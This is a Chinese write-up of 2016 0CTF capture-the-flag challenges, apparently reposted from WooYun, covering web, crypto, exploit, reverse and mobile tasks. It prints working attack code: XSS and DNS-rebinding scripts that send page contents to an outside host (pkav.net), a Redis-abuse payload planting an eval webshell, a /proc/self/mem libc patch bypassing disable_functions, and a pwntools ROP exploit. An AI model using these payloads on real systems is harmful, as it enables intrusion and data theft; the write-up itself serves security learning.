<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/13791

                    Author:雙螺旋安全研究院

                    0x00 Rand_2(web)


                    訪問http://202.120.7.202:8888/,即可獲取到題目的源碼:

                    #!php
                    <?php
                     include('config.php');
                     session_start();
                    
                     if($_SESSION['time'] && time() - $_SESSION['time'] > 60){
                        session_destroy();
                        die('timeout');
                     } else {
                        $_SESSION['time'] = time();
                     }
                    
                     echo rand();
                     if(isset($_GET['go'])){
                        $_SESSION['rand'] = array();
                        $i = 5;
                        $d = '';
                        while($i--){
                            $r = (string)rand();
                            $_SESSION['rand'][] = $r;
                            $d .= $r;
                        }
                        echo md5($d);
                     }else if(isset($_GET['check'])){
                        if($_GET['ckeck'] === $_SESSION['rand']){
                            echo $flag;
                        } else {
                            echo 'die';
                            session_destroy();
                        }
                     } else {
                        show_source(__FILE__);
                     }
                    ?>
                    

                    由源碼可以得知,在沒有GET參數go的時候,會生成并輸出一個隨機數,當帶上GET參數go的時候,會在session中寫入五個隨機數,并將他們組合起來的hash返回,如果提交的check和session[‘rand’]的值相等,則返回flag。

                    參考:http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/

                    文章中提到了:

                    #!php
                    state[i] = state[i-3] + state[i-31]
                    return state[i] >> 1
                    

                    根據這一思路,如果我們能得到連續的超過32個生成的隨機數,就可以預測后面生成的數字。為了得到連續的隨機數,使用requests.session來keep-alive。

                    在實際測試中,我發現有時候預測出來的結果會和實際得到的結果差1,不過沒有找到規律,所以沒有管他,直接多跑了幾遍就出來了flag,腳本如下:

                    #!python
                    import requests
                    while 1:
                        s = requests.session()
                        l = []
                        for i in range(50):
                      l.append(int(s.get('http://202.120.7.202:8888/').content.split('<code')[0].strip(), 10))
                        resp = s.get('http://202.120.7.202:8888/?go=1')
                        l.append(int(resp.content.strip()[:-32], 10))
                        print resp.content.strip()[-32:]
                        url = 'http://202.120.7.202:8888/?'
                        for i in range(5):
                            index = len(l)
                            r = (l[index-3]+l[index-31]) % 2147483648  # 2147483647
                            l.append(r)
                            url += 'check[]={}&'.format(r)
                        resp = s.get(url)
                        print resp.request.url
                        print resp.content
                    

                    0x01 Monkey(web)


                    通過一個自己構造的頁面來獲取http://127.0.0.1:8080/secret頁面的內容。

                    一開始想通過XSSI的思路來獲取頁面內容,不過只能得到Script Error錯誤,之后換了個思路,找到了https://bugzilla.mozilla.org/show_bug.cgi?id=1106687。

                    雖然帶 . 的已經不能用了,但是還是可以利用這個思路來繞過。

                    我們先把自己的域名DNS TTL改成了10,然后提交一個頁面http:// pkav.net:8080/,延遲60秒后讀取http://pkav.net:8080/secret并把結果返回給遠程服務器,在這段時間之內把域名的DNS記錄修改為127.0.0.1,即可讀取到http://127.0.0.1:8080/secret的內容。

                    打了兩次沒有成功,后來隊友嘗試了一下解析一下 pkav.net.刷新DNS緩存后成功了。

                    #!js
                    <html>
                    <script src="js/jquery-1.7.min.js"></script>
                    <script>
                    function getdata(){
                        $.get('http://pkav.pkav.net:8080/secret',function(data){
                            $.get('http://pkav.net/xss.php?xss='+data);
                        });
                    }
                    function refresh(){
                        $.get('http://pkav.pkav.net./');
                    }
                    setTimeout("refresh()",30000);
                    setTimeout("getdata()",100000);
                    </script>
                    </html>
                    

                    0x02 Piapiapia(web)


                    代碼審計題,flag在config.php文件。class.php文件里,有過濾函數:

                    p1

                    profile.php中有讀取文件的代碼:

                    p2

                    這里如果我們能控制$profile[‘photo’]的值,那么就可以讀取config.php文件,從而獲取flag。

                    $profile寫入數據庫時的代碼如下:

                    p3

                    p4

                    p5

                    可以看出對$_POST[‘nickname’]的過濾是可以繞過的

                    #!php
                    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
                    

                    我們只要傳入一個數組即可繞過正則和strlen的限制。

                    同時在update_profile的時候,是將數組序列化之后的字符串傳入filter,并將where替換成了hacker,導致字符串長度變長了1。

                    于是可以利用這里來把我們構造的內容給擠出s:xx:”string”的范圍,構造任意內容。

                    隊友把相關函數摳出來寫了一個腳本來測試:

                    p6

                    p7

                    為了構造photo字段,需要填充:";}s:5: "photo";s:10: "config.php

                    被閉合之后,完整的合法serialized array后面的字符會被忽略掉。

                    一共多出來31個字符,所以需要31個where。

                    構造nickname:

                    #!php
                    nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php
                    

                    更新資料(update_file)后,訪問profile.php,config.php的內容便寫在img標簽的data URL中。

                    0x03 Guestbook(1)(web)


                    首先我們隨便提交一個message,看了下輸出的HTML:

                    p8

                    username寫在div的id屬性中,message寫在JavaScript的data變量中,測試了幾次后發現message里的\\會變成\,可以構造成任意字符。secret在URL的GET參數里。

                    那么如果我們的secret包含<script>var debug=false;</script>,Chrome的XSS filter會認為HTML出現的<script>var debug=false;</script>是反射XSS的輸出,把他給屏蔽掉無法執行。debug變量會引用到一個標簽上去,把username寫成debug則if(debug)就會為true,執行t.innerHTML = data,從而實現XSS。

                    POST數據包:

                    #!bash
                    POST /message.php HTTP/1.1
                    Host: 202.120.7.201:8888
                    Content-Length: 832
                    Cache-Control: max-age=0
                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                    Origin: http://202.120.7.201:8888
                    Upgrade-Insecure-Requests: 1
                    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36
                    Content-Type: application/x-www-form-urlencoded
                    Referer: http://202.120.7.201:8888/
                    Accept-Encoding: gzip, deflate
                    Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
                    
                    secret=1z1zfqwq%3Cscript%3Evar+debug%3Dfalse%3B%3C%2Fscript%3E&username=debug&message=\\x3cimg+src%3d%23+id%3dxssyou+style%3ddisplay%3anone+onerror%3deval(unescape(/alert%25281%2529/.source))%3b//\\x3e&action=submit
                    

                    p9

                    寫了幾行JS來讀取當前頁面HTML,

                    得到:

                    p10

                    讀取/admin/server_info.php:

                    #!php
                    xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","/admin/server_info.php ",false);xmlhttp.send();r=xmlhttp.responseText;xmlhttp.responseText;xmlhttp.open("POST","http://pkav.net/1.php",false);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("d="+escape(r));
                    

                    發現是一個PHP探針,帶了一個phpinfo,phpinfo中會回顯出整個$_COOKIE數組,得到flag

                    p11

                    0x04 Guestbook(2) (web)


                    在guestbook(1)的phpinfo中,發現:

                    p12

                    感覺是redis未授權訪問,bind 127.0.0.1:6379,結合/admin/show.php中注釋里提示的uploads目錄,寫webshell。

                    于是初步的想法是通過XSS來訪問redis,HTTP頭會被當成無效指令,不影響其他行的執行。

                    #!php
                    xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","http://127.0.0.1:6379",false);xmlhttp.send('flushall\r\nset a "<?php eval($_POST[c][/c]);//"\r\nCONFIG SET dir "/usr/share/nginx/html/uploads"\r\nCONFIG SET dbfilename "pkav.php"\r\nBGSAVE\r\nSAVE\r\n');
                    

                    本地Redis測試成功,但在遠程服務器上死活寫不了shell,后來用nc看了一下:

                    p13

                    發現會先發一個OPTIONS請求,目測是這個請求失敗以后POST包根本沒有發出去。

                    后來經過多次的測試發現,改用form, multipart來換行:

                    #!php
                    f=document.createElement('form');['CONFIG SET dir /usr/share/nginx/html/uploads/','CONFIG SET dbfilename pkav.php','SET PAYLOAD "<?php eval($_POST[1]);?>"','BGSAVE'].forEach(function(e){var i=document.createElement('input');i.name='a';i.value=e;f.appendChild(i);});f.method='POST';f.action='http://127.0.0.1:6379/';f.enctype='multipart/form-data';f.submit();
                    

                    成功拿到webshell。

                    然后先利用open_basedir的bypass列出來了/目錄:

                    p14

                    發現有個flag_reader,應該是只能通過執行flag_reader來讀/flag文件。

                    利用 https://raw.githubusercontent.com/beched/php_disable_functions_bypass/master/procfs_bypass.php這個的思路來bypass disable_functions,不過這個腳本不能直接用,因為/lib沒在open_basedir里面,幫pwner把libc跟elf從/proc/self/mem里摳了出來,本來想讓他直接去算偏移硬編碼進去, 他研究了一下之后說可以直接寫代碼段,不用改GOT表那么麻煩。

                    最終利用代碼:

                    #!php
                    <?php
                      $jmp_system = "\xE9\x2B\xB0\xF5\xFF";
                      $system_addr = 0x46640;
                      $open_addr = 0xeb610;
                      $maps = file_get_contents("/proc/self/maps");
                      preg_match('#([0-9a-f]+)\-[0-9a-f]+.+/.+libc\-.+#', $maps, $r);
                      $libc_base = hexdec($r[1]); echo $libc_base;
                      $file = fopen("/proc/self/mem", "wb");
                      fseek($file, $open_addr + $libc_base);
                      fwrite($file, $jmp_system, strlen($jmp_system));
                      fopen("/flag_reader > /usr/share/nginx/html/uploads/pkav/xxxxxxxxxxxx.txt", 'r');
                    ?>
                    

                    p15

                    0x05 OPM(Misc)


                    訪問http://dl.0ops.net/opm,將文件下載回來,并載入winhex,通過頭可以看出是個壓縮文件,解壓得到一個png圖片,使用神器stegsolve分析,可以看到rgb的最低有效位存在數據,應該使用lsb算法隱藏信息

                    p16

                    觀察最低位數據,根據頭看出是一個壓縮文件

                    p17

                    “save bin“保存成壓縮文件,打開得到一個文件名為arm匯編指令的文本文件,qwq,安卓不懂,交給安卓牛分分鐘秒掉。

                    讀取地址和指令txt文件,通過py排序生成bin文件。

                    ida加載bin文件,發現3段匯編代碼,觀察匯編模式,得到關鍵函數sub_5c

                    第一個部分:plt表

                    #!bash
                    ROM:00000000 00 C6 8F E2    ADR    R12, 8
                    ROM:00000004 04 CA 8C E2    ADD    R12, R12, #0x4000
                    ROM:00000008 0C F4 BC E5    LDR    PC, [R12,#0x40C]!
                    

                    第二部分:jni函數

                    #!bash
                    ROM:0000000C 00 48 2D E9    STMFD    SP!, {R11,LR}
                    ROM:00000010 04 B0 8D E2    ADD      R11, SP, #4
                    ROM:00000014 18 D0 4D E2    SUB      SP, SP, #0x18
                    ROM:00000018 10 00 0B E5    STR      R0, [R11,#var_10]
                    ROM:0000001C 14 10 0B E5    STR      R1, [R11,#var_14]
                    ROM:00000020 18 20 0B E5    STR      R2, [R11,#var_18]
                    ROM:00000024 10 30 1B E5    LDR      R3, [R11,#var_10]
                    ROM:00000028 00 30 93 E5    LDR      R3, [R3]
                    ROM:0000002C A4 32 93 E5    LDR      R3, [R3,#0x2A4]
                    ROM:00000030 10 00 1B E5    LDR      R0, [R11,#var_10]
                    ROM:00000034 18 10 1B E5    LDR      R1, [R11,#var_18]
                    ROM:00000038 00 20 A0 E3    MOV      R2, #0
                    ROM:0000003C 33 FF 2F E1    BLX      R3  (獲取字符串長度模式代碼)
                    ROM:00000040 08 00 0B E5    STR      R0, [R11,#var_8]
                    ROM:00000044 08 00 1B E5    LDR      R0, [R11,#var_8]
                    ROM:00000048 03 00 00 EB    BL       sub_5C
                    

                    查看算法,起始函數部分暴露key為16長度,其中BL 0xFFFFFF80實際為strlen。F5觀察代碼,發現其為16階的線性方程組。

                    #!bash
                    ROM:0000005C 00 48 2D E9    STMFD    SP!, {R11,LR}
                    ROM:00000060 04 B0 8D E2    ADD      R11, SP, #4
                    ROM:00000064 88 D0 4D E2    SUB      SP, SP, #0x88
                    ROM:00000068 88 00 0B E5    STR      R0, [R11,#str]
                    ROM:0000006C 88 00 1B E5    LDR      R0, [R11,#str]
                    ROM:00000070 C2 FF FF EB    BL       0xFFFFFF80
                    ROM:00000074 00 30 A0 E1    MOV      R3, R0
                    ROM:00000078 10 00 53 E3    CMP      R3, #0x10
                    ROM:0000007C 01 00 00 0A    BEQ      loc_88
                    ROM:00000080 88 30 1B E5    LDR      R3, [R11,#str]
                    

                    等式右邊的值為:

                    #!bash
                    ans[15] = 0xFFFFCE56;
                    ans[14] = 0x4FCE;
                    ans[13] = 0x32DB;
                    ans[12] = 0xFFFFE038;
                    ans[11] = 0xFFFFA5C5;
                    ans[10] = 0x7ACB;
                    ans[9]  = 0x442C;
                    ans[8]  = 0xFFFFD069;
                    ans[7]  = 0x3BA1;
                    ans[6]  = 0xFFFF963A;
                    ans[5]  = 0x6BAC;
                    ans[4]  = 0x21B6;
                    ans[3]  = 0x5081;
                    ans[2]  = 0xD0C2;
                    ans[1]  = 0xFFFFF5AB;
                    ans[0]  = 0xFFFFE48E;
                    

                    輸入方程系數,通過matlab矩陣求逆獲得輸入。計算結果為小數(我以為輸入系數手誤,對了3遍 2333...)。最后四舍五入取證代入校驗算法,通過后得到key: Tr4c1NgF0RFuN!

                    0x06 RSA ?( Crypto)


                    #!bash
                    ?  rsa openssl rsa -pubin -text -modulus -in warmup -in public.pem
                    Modulus (314 bit):
                        02:ca:a9:c0:9d:c1:06:1e:50:7e:5b:7f:39:dd:e3:
                        45:5f:cf:e1:27:a2:c6:9b:62:1c:83:fd:9d:3d:3e:
                        aa:3a:ac:42:14:7c:d7:18:8c:53
                    Exponent: 3 (0x3)
                    Modulus=2CAA9C09DC1061E507E5B7F39DDE3455FCFE127A2C69B621C83FD9D3D3EAA3AAC42147CD7188C53
                    writing RSA key
                    -----BEGIN PUBLIC KEY-----
                    MEEwDQYJKoZIhvcNAQEBBQADMAAwLQIoAsqpwJ3BBh5Qflt/Od3jRV/P4Seixpti
                    HIP9nT0+qjqsQhR81xiMUwIBAw==
                    -----END PUBLIC KEY-----
                    

                    .

                    #!bash
                    ?  rsa python
                    Python 2.7.11 (default, Jan 22 2016, 08:29:18)
                    [GCC 4.2.1 Compatible Apple LLVM 7.0.2 (clang-700.1.81)] on darwin
                    Type "help", "copyright", "credits" or "license" for more information.
                    >>> int('0x2CAA9C09DC1061E507E5B7F39DDE3455FCFE127A2C69B621C83FD9D3D3EAA3AAC42147CD7188C53', 16)
                    23292710978670380403641273270002884747060006568046290011918413375473934024039715180540887338067L
                    

                    其中:

                    #!bash
                    e = 3
                    n =23292710978670380403641273270002884747060006568046290011918413375473934024039715180540887338067L
                    

                    http://factordb.com/得到n的質因子分解式。

                    #!bash
                    n = 26440615366395242196516853423447 * 27038194053540661979045656526063 * 32581479300404876772405716877547
                    p = 26440615366395242196516853423447
                    q = 27038194053540661979045656526063
                    r = 32581479300404876772405716877547
                    

                    但是這里n有三個質因子,查閱資料后發現rsa有種形式為multi-prime,不過這里\(\varphi(n)\)與e不互質,依然不滿足multi-prime的關系。

                    如果這個加密關系滿足\(C=M^e mod(n)\),那么我們就可以使用剩余定理嘗試所有可能性。因為這里e為3。

                    使用GP/PARI 對p、q、r算出所有滿足\(x^e mod(p)- c(mod(p))=0\)的x。

                    之后通過剩余定理嘗試所有可能性并都打印出來獲得flag: 0ctf{HahA!Thi5_1s_n0T_rSa~}

                    #!python
                    from rsa_decrypt import chinese_remainder_theorem
                    
                    c = 2485360255306619684345131431867350432205477625621366642887752720125176463993839766742234027524
                    n = 23292710978670380403641273270002884747060006568046290011918413375473934024039715180540887338067
                    e = 3
                    
                    p = 26440615366395242196516853423447
                    q = 27038194053540661979045656526063
                    r = 32581479300404876772405716877547
                    
                    c_p = c % p
                    c_q = c % q
                    c_r = c % r
                    
                    p_roots = [13374868592866626517389128266735, 7379361747422713811654086477766, 5686385026105901867473638678946]
                    q_roots = [19616973567618515464515107624812]
                    r_roots = [13404203109409336045283549715377, 13028011585706956936052628027629, 6149264605288583791069539134541]
                    
                    for m_p in p_roots:
                        for m_q in q_roots:
                            for m_r in r_roots:
                                data = chinese_remainder_theorem([(m_p, p), (m_q, q), (m_r, r)])
                                data = '0' + hex(data)[2:-1] if len(hex(data)[2:-1]) % 2 == 1 else hex(data)[2:-1]
                                print data.decode('hex')
                    

                    0x07 equation( Crypto)


                    根據題目將文件下載回來(http://dl.0ops.net/equation.zip)發現私鑰中上半部分被打碼了,使用binwalk跑了一下找到了私鑰的一部分:

                    #!bash
                    -----BEGIN RSA PRIVATE KEY-----
                    [masked]
                    Os9mhOQRdqW2cwVrnNI72DLcAXpXUJ1HGwJBANWiJcDUGxZpnERxVw7s0913WXNt
                    V4GqdxCzG0pG5EHThtoTRbyX0aqRP4U/hQ9tRoSoDmBn+3HPITsnbCy67VkCQBM4
                    xZPTtUKM6Xi+16VTUnFVs9E4rqwIQCDAxn9UuVMBXlX2Cl0xOGUF4C5hItrX2woF
                    7LVS5EizR63CyRcPovMCQQDVyNbcWD7N88MhZjujKuSrHJot7WcCaRmTGEIJ6TkU
                    8NWt9BVjR4jVkZ2EqNd0KZWdQPukeynPcLlDEkIXyaQx
                    -----END RSA PRIVATE KEY-----
                    

                    再用pngcheck檢查圖片,發現了IEND塊有附加數據,驗證為上述私鑰的部分字符串。

                    #!bash
                    ?  equation pngcheck -v mask.png
                    File: mask.png (30810 bytes)
                      chunk IHDR at offset 0x0000c, length 13
                        717 x 384 image, 32-bit RGB+alpha, non-interlaced
                      chunk sRGB at offset 0x00025, length 1
                        rendering intent = perceptual
                      chunk gAMA at offset 0x00032, length 4: 0.45455
                      chunk pHYs at offset 0x00042, length 9: 3780x3780 pixels/meter (96 dpi)
                      chunk IDAT at offset 0x00057, length 30327
                        zlib: deflated, 32K window, fast compression
                      chunk IEND at offset 0x076da, length 0
                      additional data after IEND chunk
                    ERRORS DETECTED in mask.png
                    ?  equation
                    

                    開始一直糾結可能數據還在圖片里,后來想想看密鑰的一部分字符串給了出來是為了方便分析嗎?

                    便去google RSA證書文件信息。

                    #!bash
                    RSAPrivateKey ::= SEQUENCE {
                        version Version,
                        modulus INTEGER, -- n
                        publicExponent INTEGER, -- e
                        privateExponent INTEGER, -- d
                        prime1 INTEGER, -- p
                        prime2 INTEGER, -- q
                        exponent1 INTEGER, -- d mod (p-1)
                        exponent2 INTEGER, -- d mod (q-1)
                        coefficient INTEGER, -- (inverse of q) mod p
                        otherPrimeInfos OtherPrimeInfos OPTIONAL
                    }
                    

                    發現殘余的部分含有 e、d mod(p-1)和d mod (q-1)。

                    這樣我們就可以暴力跑出來p,q。

                    #!python
                    import gmpy
                    d_p = 0xd5a225c0d41b16699c4471570eecd3dd7759736d5781aa7710b31b4a46e441d386da1345bc97d1aa913f853f850f6d4684a80e6067fb71cf213b276c2cbaed59
                    d_q = 0x1338c593d3b5428ce978bed7a553527155b3d138aeac084020c0c67f54b953015e55f60a5d31386505e02e6122dad7db0a05ecb552e448b347adc2c9170fa2f3
                    e = 65537
                    for k_p in range(1, e):
                        if (e*d_p - 1) % k_p == 0:
                            p = (e*d_p - 1) / k_p + 1
                            if gmpy.is_prime(p):
                                print '[p] {}'.format(p)
                                break
                    for k_q in range(1, e):
                        if (e*d_q - 1) % k_q == 0:
                            q = (e*d_q - 1) / k_q + 1
                            if gmpy.is_prime(q):
                                print '[q] {}'.format(q)
                                break
                    # [p] 12883429939639100479003058518523248493821688207697138417834631218638027564562306620214863988447681300666538212918572472128732943784711527013224777474072569
                    # [q] 12502893634923161599824465146407069882228513776947707295476805997311776855879024002289593598657949783937041929668443115224477369136089557911464046118127387
                    

                    直接用p,q,e算出d。則m=pow(c, d, n)。

                    flag:0ctf{Keep_ca1m_and_s01ve_the_RSA_Eeeequati0n!!!}

                    0x08 Warmup(Exploit)


                    根據題目描述,這道題目只能去讀取/home/warmup/flag。實際測試不能執行execve等系統調用。在棧中布置payload可以進行rop調用open,read,write來讀取flag。

                    #!python
                    #!/usr/bin/env python2
                    from pwn import *
                    #0ctf{welcome_it_is_pwning_time}
                    r = remote('127.1', 4444)
                    #r = remote('202.120.7.207', 52608)
                    data = 0x080491BC
                    read = 0x0804811D
                    add_esp = 0x080481B8
                    flag = '/home/warmup/flag\x00'
                    buf = data+len(flag)
                    raw_input('debug')
                    payload = 'A'*0x20 + p32(0x080480D8) + 'AAAA' * 4
                    r.send(payload)
                    payload = 'A'*0x20 + p32(0x080480D8) + p32(add_esp) + p32(1) + p32(buf) + p32(64)
                    r.send(payload)
                    payload = 'A'*0x20 + p32(0x080480D8) + 'AAAA' * 3 + p32(0x08048135)
                    r.send(payload)
                    payload = 'B'*0x20 + p32(0x080480D8) + 'BBBB' * 4
                    r.send(payload)
                    payload = 'B'*0x20 + p32(0x080480D8) + p32(buf) + p32(64) + 'BBBB' * 2
                    r.send(payload)
                    payload = 'B'*0x20 + p32(0x080480D8) + 'BBBB' * 1 + p32(read) + p32(add_esp) + p32(3)
                    r.send(payload)
                    payload = 'C'*0x20 + p32(0x080480D8) + 'CCCC' * 4
                    r.send(payload * 2)
                    payload = 'C'*0x20 + p32(0x080480D8) + p32(add_esp) + p32(data) + p32(0) + 'CCCC'
                    r.send(payload)
                    payload = 'D'*0x20 + p32(0x080480D8) + 'DDDD' * 3 + p32(0x08048122)
                    r.send(payload * 3)
                    #send flag
                    payload = 'C'*0x20 + p32(read) + p32(0x0804815A) + p32(0) + p32(data) + p32(len(flag)) + flag
                    r.send(payload)
                    # eax = 5
                    payload = 'D'*0x20 + p32(read) + p32(add_esp) + p32(0) + p32(buf) + p32(5) + 'd'*5
                    r.send(payload)
                    print r.recv(1024)
                    

                    0x09 Sandbox(Exploit)


                    這道題給了warmup的sandox程序。逆向分析發現他通過ptrace限制了warmup只能調用open,read,write,alarm,exit,mmap,mprotect這些系統調用。并且open的第一個參數只能是”/home/warmup/flag”,但是這個處理邏輯可以繞過:

                    當realpath的的第一個參數這個文件不存在的時候返回NULL。將文件地址寫成“/proc/self/tasks/7777/../../../../home/sandbox/flag”,然后不斷連接生成進程,當warmup的pid為7777時,sandbox的realpath調用返回NULL,同時warmp成功open了flag,就可以讀取flag了。

                    p18

                    0x0A Trace(Reverse)


                    題目給了一個trace log。首先通過grep jal可以得到所調用的所有函數的起始地址,接著grep jr r31得到函數的結束地址,總共3個函數:00400770,004007d0,00400858,分別為strlen,strcpy和一個遞歸的快排。從log中根據地址剔去這幾個函數的代碼得到主函數,主函數首先生成了a-zA-Z0-9{} + flag這樣的一個字符串,然后對其進行快排,接著對結果開始對比是否前一個字符串是否和后面的相同。

                    分析log可以手工將后面對比是否相同的代碼分解成幾個基本塊,接著寫腳本分析基本塊得到flag包含的字符:0111355555699cfkllmrrstt{}。

                    #!python
                    #!/usr/bin/python2
                    import string
                    start = 0
                    table = string.digits + string.ascii_uppercase + string.ascii_lowercase+ '{}'
                    result = ''
                    i = 0
                    with open('./tail.log') as f:
                        for line in f:
                            if '[INFO]00400b90' in line:
                                flag = True
                            elif '[INFO]00400bbc' in line:
                                flag = False
                                i += 1
                            elif '[INFO]00400bc8' in line and flag:
                                result += table[i]
                    print result
                    

                    利用同樣的方法分析快排程序得到快排結果:

                    #!python
                    import string
                    table = list(string.ascii_letters + string.digits + '{}') + range(26)
                    f = open('858.log')
                    def qsort(s, begin, end):
                        t = True
                        i, j= begin + 1, begin + 1
                        for l in f:
                            if 'jr r31' in l:
                                return
                            elif '004008ac' in l:
                                t = True
                            elif '004008cc' in l:
                                t = False
                                s[i], s[j] = s[j], s[i]
                                j, i = j+1, i+1
                            elif '00400920' in l and t:
                                i += 1
                            elif '00400940' in l:
                                s[j-1], s[begin] = s[begin], s[j-1]
                                qsort(s, begin, j-1)
                            elif '00400998' in l:
                                qsort(s, j, end)
                    qsort(table, 0, len(table))
                    print table
                    

                    將兩者結合就得到了flag:0ctf{tr135m1k5l96551s9l5r}

                    0x0B momo(Reverse)


                    下載文件時是一個32位的ELF文件,直接運行提示0ops try again,輸入正確的Flag時提示Congratulations。

                    在IDA中進程初步分析,發現程序代碼中只包含了mov和jz兩種指令,程序經過變形。程序中使用了多張表,來進行加法、減法、異或和或運算等操作。最后通過查表的方式來完成運行,并通過mov指令來實現,并以此來迷惑大家。

                    p19

                    p20

                    經過分析,程序取輸入lag取其中的28個字節來進行運算,因此輸入Flag總共28個字節。在計算是,總共有兩個長度為28個字節的參與固定運算的表,其中一個表依次與Flag中的每個字節進行加或者減運算操作,而另外一個則上一步得到的運算結果中的每個字節進行異或操作,最后將異或后結果依次進行或運算操作。如果最后結果為0,則提示成功,否則失敗。

                    大概流程如下:

                    #!bash
                    Operate{+,-,-,+,-,-,+,+,+,-,+,+,+,+,-,+,+,+,-,+,-,-,+,+,+,-,-}
                    Table1 {9,2,7,F,,7,7,9,4,E,8,13,6,1,1,3,1,9,0,9,9,9,2,1,A,5,6,21,7D}
                    Table2{39,61,6D,75,74,66,39,5A,6D,41,48,65,75,56,75,30,57,39,68,5A,39,4E,30,4F,6F,39,21,7D}
                    

                    由于最后是要求與Table2進行或運算或者減法算操作,結果為0,因此要求輸入Flag經過和Table1相應的運算后的結果和Table2應該相同,因此表Table2按字節減去或者加上對應的Table1中對應的字節即可的Flag:0ctf{m0V_I5_tUr1N9_c0P1Et3!}

                    0x0C boomshakalaka(Mobile)


                    拿到apk先反編譯,主Activity的java代碼如圖

                    p21

                    可以看到功能不多,主要使用a類和啟動coco2d,分析a類,如圖

                    p22

                    a類功能是進行sharedpreferences存儲,結合主Activity的調用得到可知創建了兩個sharedpreferences文件,分別是flag.xml和CocosdxPrefsfile.xml,然后寫入了數據,試玩一把,查看這兩個文件

                    p23

                    flag中的內容看起來就像base64編碼,解碼可得bazingaaaa。不是flag。嘗試用base64解碼另一個。

                    p24

                    額,結果?提交果然不對,在主Activity里可以看到MGN0是固定輸入 每次啟動程序會輸入,是0tcf的編碼。

                    又玩了一把更新最高分,CocosdxPrefsfile.xml中的內容變成

                    p25

                    MGN0ZntDMGNvUzJkX0FuRHJvdz99ZntDMGNvUzJkX0FuRHJvMWRfRzdz99
                    

                    又追加了內容,格式很明顯,中括內的內容添加了。

                    MGN0 ZntDMGNvUzJkX0FuRHJv dz99
                    ZntDMGNvUzJkX0FuRHJvMWRfRz dz99
                    

                    結合題目Highscore,看來是要到某一個分數才能寫完。

                    于是分析a類調用,發現java層和so都沒有找到。后來想是不是直接訪問了文件,在smali中查找CocosdxPrefsfile,果然發現,在cocos2dxhelper中也有對這個文件的操作。

                    p26

                    然后分析這個類的調用,找到在so中的調用。

                    p27

                    查找字符串,分析地址調用。

                    根據調用找到關鍵函數,在_Z18setStringForKeyJNIPKcS0_中用Cocos2dxHelper進行string寫入

                    p28

                    然后再分析setstringforkey的調用。

                    p29

                    寫入的地方較多,查看了一下調用位置

                    p30

                    可以看到寫入的內容,每次寫入兩個字符,對比一下Cocos2dxPrefsFile文件中的字符串,發現差不多了。

                    再分析發現下圖綠框中寫入的內容是初始化時寫入的,每次都有所以就不分析了,而紅框中的寫入內容與得分相關。

                    p31

                    所以分析updatescore函數邏輯,獲得寫入順序,構造字符串,成功

                    字符串MGN0ZntDMGNvUzJkX0FuRHJvMWRfRzBtRV9Zb1VfS24wdz99

                    解碼結果 0ctf{C0coS2d_AnDro1d_G0mE_YoU_Kn0w?}

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频